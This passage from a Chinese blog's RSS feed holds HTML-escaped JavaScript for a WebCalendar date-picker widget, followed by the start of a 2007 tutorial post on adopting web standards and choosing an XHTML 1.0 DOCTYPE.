null)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisYear&amp;nbsp;&amp;nbsp;&amp;nbsp;  = new Date().getFullYear();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisMonth&amp;nbsp;&amp;nbsp;  = new Date().getMonth()+ 1;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisDay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = new Date().getDate();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  alert(&amp;quot;原文本框里的日期有错误！\n可能与你定义的显示时分秒有冲突！&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  writeCalendar(); return false;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  else&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisYear&amp;nbsp;&amp;nbsp;&amp;nbsp;  = parseInt(WebCalendar.dateStyle[1], 10);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisMonth&amp;nbsp;&amp;nbsp;  = parseInt(WebCalendar.dateStyle[3], 10);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisDay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = parseInt(WebCalendar.dateStyle[4], 10);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.inputDate&amp;nbsp;&amp;nbsp;  = parseInt(WebCalendar.thisDay, 10) +&amp;quot;/&amp;quot;+ parseInt(WebCalendar.thisMonth, 10) +&amp;quot;/&amp;quot;+ &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  parseInt(WebCalendar.thisYear, 10); writeCalendar();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&amp;nbsp;&amp;nbsp;  else writeCalendar();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&amp;nbsp;&amp;nbsp;  catch(e){writeCalendar();}&lt;br&gt;}&lt;/p&gt;&lt;p&gt;function funMonthSelect() //月份的下拉框&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var m = isNaN(parseInt(WebCalendar.thisMonth, 10)) ? new Date().getMonth() + 1 : parseInt(WebCalendar.thisMonth);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var e = WebCalendar.iframe.document.forms[0].tmpMonthSelect;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  e.value = m; //e.focus(); &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //window.status = e.style.left;&lt;br&gt;}&lt;/p&gt;&lt;p&gt;function funYearSelect() //年份的下拉框&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var e = WebCalendar.iframe.document.forms[0].tmpYearSelect;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var y = isNaN(parseInt(WebCalendar.thisYear, 10)) ? new Date().getFullYear() : parseInt(WebCalendar.thisYear);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  e.value = y; //e.focus();&lt;br&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if(e.value == &amp;quot;&amp;quot;)&lt;br&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  e.value = new Date().getFullYear();&lt;br&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisYear = e.value;&lt;br&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;}&lt;/p&gt;&lt;p&gt;function prevM()&amp;nbsp;&amp;nbsp;  //往前翻月份&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisDay = 1;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (WebCalendar.thisMonth==1)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisYear--;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisMonth=13;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisMonth--; writeCalendar();&lt;br&gt;}&lt;/p&gt;&lt;p&gt;function nextM()&amp;nbsp;&amp;nbsp;  //往后翻月份&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisDay = 1;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (WebCalendar.thisMonth==12)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisYear++;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisMonth=0;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisMonth++; writeCalendar();&lt;br&gt;}&lt;br&gt;function prevY(){WebCalendar.thisDay = 1; WebCalendar.thisYear--; writeCalendar();}//往前翻 Year&lt;br&gt;function nextY(){WebCalendar.thisDay = 1; WebCalendar.thisYear++; writeCalendar();}//往后翻 Year&lt;br&gt;function hiddenSelect(e){&lt;br&gt;&amp;nbsp;&amp;nbsp;  //for(var i=e.options.length; i&amp;gt;-1; i--)e.options.remove(i); e.style.display=&amp;quot;none&amp;quot;;&lt;br&gt;}&lt;br&gt;function getObjectById(id){ if(document.all) return(eval(&amp;quot;document.all.&amp;quot;+ id)); return(eval(id)); }&lt;br&gt;function hiddenCalendar(){getObjectById(&amp;quot;meizzCalendarLayer&amp;quot;).style.display = &amp;quot;none&amp;quot;;};&lt;br&gt;function appendZero(n){return((&amp;quot;00&amp;quot;+ n).substr((&amp;quot;00&amp;quot;+ n).length-2));}//日期自动补零程序&lt;br&gt;function String.prototype.trim(){return this.replace(/(^\s*)|(\s*$)/g,&amp;quot;&amp;quot;);}&lt;br&gt;function dayMouseOver()&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.className = &amp;quot;over&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.style.backgroundColor = WebCalendar.darkColor;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if(WebCalendar.day[this.id.substr(8)].split(&amp;quot;/&amp;quot;)[1] == WebCalendar.thisMonth)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.style.color = WebCalendar.lightColor;&lt;br&gt;}&lt;br&gt;function dayMouseOut()&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.className = &amp;quot;out&amp;quot;; var d = WebCalendar.day[this.id.substr(8)], a = d.split(&amp;quot;/&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.style.removeAttribute('backgroundColor');&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if(a[1] == WebCalendar.thisMonth &amp;amp;&amp;amp; d != WebCalendar.today)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if(WebCalendar.dateStyle &amp;amp;&amp;amp; a[0] == parseInt(WebCalendar.dateStyle[4], 10))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.style.color = WebCalendar.lightColor;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.style.color = WebCalendar.wordColor;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;}&lt;br&gt;function writeCalendar() //对日历显示的数据的处理程序&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var y = WebCalendar.thisYear;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var m = WebCalendar.thisMonth; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var d = WebCalendar.thisDay;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.daysMonth[1] = (0==y%4 &amp;amp;&amp;amp; (y%100!=0 || y%400==0)) ? 29 : 28;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (!(y&amp;lt;=9999 &amp;amp;&amp;amp; y &amp;gt;= 1000 &amp;amp;&amp;amp; parseInt(m, 10)&amp;gt;0 &amp;amp;&amp;amp; parseInt(m, 10)&amp;lt;13 &amp;amp;&amp;amp; parseInt(d, 10)&amp;gt;0)){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  alert(&amp;quot;对不起，你输入了错误的日期！&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisYear&amp;nbsp;&amp;nbsp;&amp;nbsp;  = new Date().getFullYear();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisMonth&amp;nbsp;&amp;nbsp;  = new Date().getMonth()+ 1;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.thisDay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = new Date().getDate(); }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  y = WebCalendar.thisYear;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  m = WebCalendar.thisMonth;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  d = WebCalendar.thisDay;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  funYearSelect(parseInt(y, 10));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  funMonthSelect(parseInt(m,10));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //WebCalendar.iframe.meizzYearHead.innerText&amp;nbsp;&amp;nbsp;  = y +&amp;quot; 年&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //WebCalendar.iframe.meizzYearMonth.innerText = parseInt(m, 10) +&amp;quot; 月&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.daysMonth[1] = (0==y%4 &amp;amp;&amp;amp; (y%100!=0 || y%400==0)) ? 29 : 28; //闰年二月为29天&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var w = new Date(y, m-1, 1).getDay();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var prevDays = m==1&amp;nbsp;&amp;nbsp;  ? WebCalendar.daysMonth[11] : WebCalendar.daysMonth[m-2];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  for(var i=(w-1); i&amp;gt;=0; i--) //这三个 for 循环为日历赋数据源（数组 WebCalendar.day）格式是 d/m/yyyy&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.day[i] = prevDays +&amp;quot;/&amp;quot;+ (parseInt(m, 10)-1) +&amp;quot;/&amp;quot;+ y;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if(m==1) WebCalendar.day[i] = prevDays +&amp;quot;/&amp;quot;+ 12 +&amp;quot;/&amp;quot;+ (parseInt(y, 10)-1);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  prevDays--;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  for(var i=1; i&amp;lt;=WebCalendar.daysMonth[m-1]; i++) WebCalendar.day[i+w-1] = i +&amp;quot;/&amp;quot;+ m +&amp;quot;/&amp;quot;+ y;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  for(var i=1; i&amp;lt;WebCalendar.dayShow-w-WebCalendar.daysMonth[m-1]+1; i++)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.day[WebCalendar.daysMonth[m-1]+w-1+i] = i +&amp;quot;/&amp;quot;+ (parseInt(m, 10)+1) +&amp;quot;/&amp;quot;+ y;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if(m==12) WebCalendar.day[WebCalendar.daysMonth[m-1]+w-1+i] = i +&amp;quot;/&amp;quot;+ 1 +&amp;quot;/&amp;quot;+ (parseInt(y, 10)+1);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  for(var i=0; i&amp;lt;WebCalendar.dayShow; i++)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //这个循环是根据源数组写到日历里显示&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var a = WebCalendar.day[i].split(&amp;quot;/&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.dayObj[i].innerText&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = a[0];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.dayObj[i].title&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = a[2] +&amp;quot;-&amp;quot;+ appendZero(a[1]) +&amp;quot;-&amp;quot;+ appendZero(a[0]);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.dayObj[i].bgColor&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = WebCalendar.dayBgColor;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.dayObj[i].style.color&amp;nbsp;&amp;nbsp;  = WebCalendar.wordColor;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if ((i&amp;lt;10 &amp;amp;&amp;amp; parseInt(WebCalendar.day[i], 10)&amp;gt;20) || (i&amp;gt;27 &amp;amp;&amp;amp; parseInt(WebCalendar.day[i], 10)&amp;lt;12))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.dayObj[i].style.color = WebCalendar.wordDark;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (WebCalendar.inputDate==WebCalendar.day[i])&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //设置输入框里的日期在日历上的颜色&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {WebCalendar.dayObj[i].bgColor = WebCalendar.darkColor; WebCalendar.dayObj[i].style.color = WebCalendar.lightColor;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (WebCalendar.day[i] == WebCalendar.today)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //设置今天在日历上反应出来的颜色&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {WebCalendar.dayObj[i].bgColor = WebCalendar.todayColor; WebCalendar.dayObj[i].style.color = WebCalendar.lightColor;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;}&lt;br&gt;function returnDate() //根据日期格式等返回用户选定的日期&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if(WebCalendar.objExport)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var returnValue;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var a = (arguments.length==0) ? WebCalendar.day[this.id.substr(8)].split(&amp;quot;/&amp;quot;) : arguments[0].split(&amp;quot;/&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var d = WebCalendar.format.match(/^(\w{4})(-|\/)(\w{1,2})\2(\w{1,2})$/);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if(d==null){alert(&amp;quot;你设定的日期输出格式不对！\r\n\r\n请重新定义 WebCalendar.format ！&amp;quot;); return false;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var flag = d[3].length==2 || d[4].length==2; //判断返回的日期格式是否要补零&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  returnValue = flag ? a[2] +d[2]+ appendZero(a[1]) +d[2]+ appendZero(a[0]) : a[2] +d[2]+ a[1] +d[2]+ a[0];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if(WebCalendar.timeShow)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var h = new Date().getHours(), m = new Date().getMinutes(), s = new Date().getSeconds();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  returnValue += flag ? &amp;quot; &amp;quot;+ appendZero(h) +&amp;quot;:&amp;quot;+ appendZero(m) +&amp;quot;:&amp;quot;+ appendZero(s) : &amp;quot; &amp;quot;+&amp;nbsp;&amp;nbsp;  h&amp;nbsp;&amp;nbsp;  +&amp;quot;:&amp;quot;+ m +&amp;quot;:&amp;quot;+ s;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.objExport.value = returnValue;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  hiddenCalendar();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;}&lt;br&gt;//--&amp;gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=131</guid><pubDate>Mon, 05 Nov 2007 04:15:00 GMT</pubDate></item><item><title>[web2.0入门系列5]怎样过渡</title><link>http://www.chendw.cn:8080/view.aspx?id=130</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;h3&gt;怎么改善现有网站&lt;/h3&gt;&lt;p&gt;我们大部分的设计师依旧在采用传统的表格布局、表现与结构混杂在一起的方式来建立网站。学习使用XHTML+CSS的方法需要一个过程，使现有网站符合网站标准也不可能一步到位。最好的方法是循序渐进，分阶段来逐步达到完全符合网站标准的目标。如果你是新手，或者对代码不是很熟悉，也可以采用遵循标准的编辑工具，例如Dreamweaver MX 2004，它是目前支持CSS标准最完善的工具。&lt;/p&gt;&lt;h4&gt;1．初级改善&lt;/h4&gt;&lt;ul&gt;    &lt;li&gt;为页面添加正确的DOCTYPE&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;很多设计师和开发者都不知道什么是DOCTYPE，DOCTYPE有什么用。DOCTYPE是document type的简写。主要用来说明你用的XHTML或者HTML是什么版本。浏览器根据你DOCTYPE定义的DTD(文档类型定义)来解释页面代码。所以，如果你不注意设置了错误的DOCTYPE，结果会让你大吃一惊。XHTML1.0提供了三种DOCTYPE可选择：&lt;/p&gt;&lt;p&gt;(1)过渡型（Transitional ）&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;&amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;&lt;/span&gt; &lt;/font&gt;&lt;p&gt;(2)严格型（Strict ）&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;&amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Strict//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&amp;quot;&amp;gt;&lt;/span&gt; &lt;/font&gt;&lt;p&gt;(3)框架型（Frameset ）&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;&amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Frameset//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd&amp;quot;&amp;gt;&lt;/span&gt; 